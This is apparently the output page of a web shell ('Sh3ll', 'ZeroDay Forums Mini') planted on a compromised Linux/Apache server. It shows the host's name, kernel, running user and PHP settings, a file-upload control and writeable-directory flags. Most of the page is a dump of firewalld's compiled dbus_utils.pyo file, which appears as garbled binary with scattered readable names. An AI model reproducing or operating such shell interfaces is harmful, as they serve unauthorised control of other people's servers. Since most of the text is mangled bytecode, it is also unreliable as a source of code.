Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/firewall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/firewall/dbus_utils.pyo
�
�c�`c@s�dddddddddd	d
gZddlZddlZddlZdd
lmZddlmZejdkZ	d�Z
d�Zd�Zd�Z
d�Zd�Zd�Zdd�Zd�Zdd�Zd�ZdS(tcommand_of_pidt
pid_of_sendert
uid_of_sendertuser_of_uidtcontext_of_sendertcommand_of_sendertuser_of_sendertdbus_to_pythontdbus_signaturet%dbus_introspection_prepare_propertiest!dbus_introspection_add_propertiesi����N(tminidom(tlogt3cCs[yBtd|d��)}|j�djdd�j�}WdQXWntk
rVdSX|S(s  Get command for pid from /proc s/proc/%d/cmdlinetritt N(topent	readlinestreplacetstript	ExceptiontNone(tpidtftcmd((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR%s,
cCsV|jdd�}tj|d�}yt|j|��}Wntk
rQdSX|S(sW Get pid from sender string using 
    org.freedesktop.DBus.GetConnectionUnixProcessID sorg.freedesktop.DBuss/org/freedesktop/DBusN(t
get_objecttdbust	InterfacetinttGetConnectionUnixProcessIDt
ValueErrorR(tbustsendertdbus_objt
dbus_ifaceR((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR.s
cCsV|jdd�}tj|d�}yt|j|��}Wntk
rQdSX|S(sV Get user id from sender string using 
    org.freedesktop.DBus.GetConnectionUnixUser sorg.freedesktop.DBuss/org/freedesktop/DBusN(RRRRtGetConnectionUnixUserRR(R R!R"R#tuid((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR;s
cCs0ytj|�}Wntk
r'dSX|dS(s Get user for uid from pwd iN(tpwdtgetpwuidRR(R%tpws((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyRHs

cCsh|jdd�}tj|d�}y|j|�}Wntk
rKdSXdjttt	|���S(sl Get SELinux context from sender string using 
    org.freedesktop.DBus.GetConnectionSELinuxSecurityContext sorg.freedesktop.DBuss/org/freedesktop/DBustN(
RRRt#GetConnectionSELinuxSecurityContextRRtjointmaptchrR(R R!R"R#tcontext((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyRQs
cCstt||��S(s  Return command of D-Bus sender (RR(R R!((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR_scCstt||��S(N(RR(R R!((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyRdsc Cs�|dkr|}n}t|tj�r6t|�}n\t|tj�rltr]|jd�n	t|�}n&tr�t|tj	�r�t|�}n�t|tj
�r�t|�}n�t|tj�s2t|tj�s2t|tj
�s2t|tj�s2t|tj�s2t|tj�s2t|tj�rAt|�}nQt|tj�rbt|�}n0t|tj�r�g|D]}t|�^q{}n�t|tj�r�tg|D]}t|�^q��}n�t|tj�r�d�|j�D�}n�t|t�sst|t�sst|t�sst|t�sst|t�sst|t�sst|t�sst|t�r||}ntdt|���|dk	r�|tkr�t|t�sb|tkr�t|t�sb|tkr�t|t�sb|tkrt|t�sb|tkr*t|t�sb|tkrFt|t�sb|tkr�t|t�r�td|t |�|f��q�n|S(Nsutf-8cSs+i|]!\}}t|�t|��qS((R(t.0tktv((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pys
<dictcomp>�s	sUnhandled %ss%s is %s, expected %s(!Rt
isinstanceRtBooleantbooltStringtPY2tencodetstrt
UTF8Stringt
ObjectPathtBytetInt16tInt32tInt64tUInt16tUInt32tUInt64RtDoubletfloattArrayRtStructttuplet
Dictionarytitemstbytestlisttdictt	TypeErrortreprttype(tobjt
expected_typet
python_objtx((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyRgsV	$"(	%cCs�t|tj�rdSt|tj�r,dSt|tj�rBdSt|tj�rXdSt|tj�rndSt|tj�r�dSt|tj�r�dSt|tj	�r�dSt|tj
�r�d	St|tj�r�d
St|tj�r�dSt|tj
�r2t|j�dkr$d
|jSd|jSnlt|tj�rOd|jSt|tj�rld|jStr�t|tj�r�dStdt|���dS(NtbtstotytntiRRtqtutttdisa(%s)sa%ss(%s)sa{%s}sUnhandled %s(R2RR3R5R:R;R<R=R>R?R@RARBRDtlent	signatureRERGR6R9RLRM(RO((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR�sBcCs�|dkri}nt|d�s7t|di�nt|d�}i||<y|j|�}Wntk
r|i}nXxl|j�D]^\}}it|�d6|||<||kr�|||||d<q�d|||d<q�WdS(Nt_fw_dbus_propertiesRNtaccesstread(RthasattrtsetattrtgetattrtGetAllRRHR(ROt	interfaceR`tdipt_dicttkeytvalue((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR	�s	


c
Cs:tj|�}t|d�r
x�|jd�D]�}|jd�r.|jd�|kr.i}t|d�rt|d�}n||krxu||j�D]`\}}|jd�}|j	d|�|j	d|d�|j	d|d�|j
|�q�Wqq.q.Wntj|j
��|j
�}	|j�|	S(NR_RftnametpropertyRNR`(RtparseStringRbtgetElementsByTagNamethasAttributetgetAttributeRdRHt
createElementtsetAttributetappendChildRtdebug10ttoxmltunlink(
ROtdataRftdoctnodeRgRiRjtproptnew_data((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyR
�s&
(t__all__RR&tsystxml.domRtfirewall.core.loggerRtversionR6RRRRRRRRRRR	R
(((s7/usr/lib/python2.7/site-packages/firewall/dbus_utils.pyt<module>s*					
	
					0	%

ZeroDay Forums Mini